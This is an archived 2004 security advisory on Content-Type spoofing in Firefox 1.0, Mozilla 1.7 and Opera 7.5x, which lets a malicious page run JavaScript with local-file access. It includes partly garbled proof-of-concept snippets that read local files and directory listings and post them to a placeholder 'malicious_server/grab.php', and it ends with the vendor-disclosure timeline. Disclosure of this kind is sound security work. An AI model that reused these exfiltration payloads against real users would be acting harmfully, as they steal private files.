TUCoPS :: Browsers :: hack8306.htm

Content-Type spoofing in Mozilla Firefox, Opera may let users bypass security restrictions
[ZH2004-18SA] Content-Type spoofing in Mozilla Firefox and Opera could allow users to bypass security restrictions

Author: Giovanni Delvecchio

e-mail: badpenguin@zone-h.org 

Original advisory: http://www.zone-h.org/en/advisories/read/id=6502/ 

Browsers tested: 

- Firefox 1.0 

- Mozilla 1.7.x

- Opera 7.54 (*)

- Konqueror 3.3.1

- Epiphany 

-Internet Explorer 6 with SP1

-Internet Explorer 6 with SP1 + SP2

Browsers affected:

- Firefox 1.0 

- Mozilla 1.7.x 

- Opera 7.51,..7.54

( maybe also previous versions)

Problem Description:


A problem exists in some browsers where it is possible by a Content-Type spoofing to "force" the target user to open a page and bypass the security zone and execute javascript in local context.

Indeed, when the user "victim" visits http://malicious_server/paage.html, if malicious_server responds 

with a page containing an unknown Content-Type field ( for example text/html. ,note the dot) ,the browser will show a dialog window with some options (open, save, cancel). Choosing "Open" to view this page, it will be downloaded and opened in local ; javascript code will be executed in local context.

Obviously, if the user chooses to save and open it after the result is equal.

I tested this with some browsers but it seems that just Mozilla Firefox and Opera(*) are exploitable in this mode.

(*) For Opera, this method of exploitation requires that opera must be set as Default Application in "handler for saved files" in case the user chooses "Open" in the dialog window.



It could allow remote users to :

- obtain the content of /home/ directory ( or c:\Documents and Settings\ for windows systems ) and therefore gather a set of usernames present on the target system.

- know if a particular program is installed on the target system for a successive attack.

- Read the content of confidential files

- Read the browser's cache

In opera it is located in ~/.opera/cache4, instead in Mozilla Firefox it's in /.mozilla/firefox/$RANDOM-STRING.default/Cache.

Since it is possible to enumerate the directory structure , a malicious user could easily know the path to firefox's cache 



The following PoCs are refered to linux versions of Firefox and Opera, but they can be applied also to Windows versions.

In order to test Content-Type spoofing i have modified an open source webserver to make it respond with a fake content-Type

Example to read a local file by inner.HTML method:


action="http://malicious_server/grab.php" ENCTYPE="text/plain">
<script> function ReadFileContent(){ alert(local_file.document.all(0).innerHTML); document.module.content.value+=local_file.document.firstChild.innerHTML; //send content to malicious_server document.module.submit(); } </script> (*) it works with Firefox, with Opera it works just if a file has a .htm or html extension. ----------------------------------------------------------- List the directory structure: ----------------------------------------
action="http://malicious_server/grab.php" ENCTYPE="text/plain">
------------------------------------------- Vendor notice ============== 24th November 2004: I have contacted mozilla by security@mozilla.org and Opera by its bug track page at https://bugs.opera.com/wizard/ Response From Mozilla https://bugzilla.mozilla.org/show_bug.cgi?id=273419 : "The problem is that Mozila use the mime-type for served by http documents but it does use the extension for opening local files. Disable the "open with" option if the application is Mozilla itself. This would move the "who is to blame" around to the user because he has to go through the OS Filemanager to open it." Greets: ====== Thanks To: SI^MoNa, SecurityWireless, Siegfried for testing.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH